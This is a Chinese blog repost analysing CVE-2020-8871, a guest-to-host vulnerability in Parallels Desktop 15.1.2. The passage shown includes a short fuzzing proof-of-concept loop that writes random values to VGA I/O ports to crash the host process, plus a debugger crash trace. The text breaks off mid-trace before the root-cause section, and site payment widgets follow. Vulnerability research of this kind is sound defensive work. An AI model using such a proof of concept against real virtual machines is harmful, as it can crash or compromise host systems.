Parallels Desktop最新虚拟机逃逸漏洞分析(CVE-2020-8871)

本文详细探讨了Parallels Desktop 15.1.2版本中的一个严重漏洞(CVE-2020-8871),该漏洞可能导致guest OS本地用户提升权限并在主机上执行代码。通过Fuzzing发现,通过写入VGA序列发生器寄存器触发OOB写入,从而导致系统崩溃。分析揭示了漏洞的根本原因在于共享内存中的屏幕缓冲区溢出,而补丁通过改变内存分配来防止OOB写入。建议将此漏洞视为高优先级进行修复。
摘要由CSDN通过智能技术生成

Mac的Parallels Desktop for Mac是macOS最受欢迎的虚拟化程序之一,但是关于此产品的公开漏洞研究很少。去年11月,Reno Robert(@renorobertr)向ZDI报告了Parallels中的多个漏洞,其中一个漏洞允许guest OS上的本地用户提升特权并在主机上执行代码。该漏洞于5月用15.1.3版本进行了修补,并分配编号CVE-2020-8871(ZDI-20-292)。这篇文章深入研究了该漏洞以及Parallels对其进行的代码更改以修复该漏洞。

0x01  初步分析

以下所有分析均基于15.1.2版。经过测试,guest 虚拟机配置了默认选项。

原始漏洞报告很简短,并且通过简单的Fuzzing就可以找到。以下是POC中的相关代码:

   while (1) { 
     port = random_range(0x3C4, 0x3C5+1); 
     value = random_range(0, 0xFFFF+1); 
     outw(value, port); 
   }

基本上,这会随机且无限地将byte写入I / O端口0x3C4和0x3C5。如果在受影响的Parallels版本上运行POC,它将使prl_vm_app主机OS上的进程崩溃。系统上的每个虚拟机都由一个单独的prl_vm_app进程表示奇热

 Process 619 stopped 
 * thread #31, name = 'QThread', stop reason = EXC_BAD_ACCESS (code=2, address=0x158d28000) 
     frame #0: 0x0000000108c7a082 prl_vm_app`___lldb_unnamed_symbol5076$$prl_vm_app + 738 
 prl_vm_app`___lldb_unnamed_symbol5076$$prl_vm_app: 
 ->  0x108c7a082 : mov    dword ptr [rsi], ecx 
     0x108c7a084 : cmp    r12d, 0x2 
     0x108c7a088 : jb     0x108c7a0a0               ;  
     0x108c7a08a : mov    dword ptr [rsi + 0x4], ecx 
 Target 0: (prl_vm_app) stopped. 
 (lldb) bt 
 * thread #31, name = 'QThread', stop reason = EXC_BAD_ACCESS (code=2, address=0x158d28000) 
   * frame #0: 0x0000000108c7a082 prl_vm_app`___lldb_unnamed_symbol5076$$prl_vm_app + 738 
     frame #1: 0x0000000108c7ac8b prl_vm_app`___lldb_unnamed_symbol5078$$prl_vm_app + 907 
     frame #2: 0x0000000108c7dd52 prl_vm_app`___lldb_unnamed_symbol5093$$prl_vm_app + 1442 
     frame #3: 0x0000000108ce66dc prl_vm_app`___lldb
  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值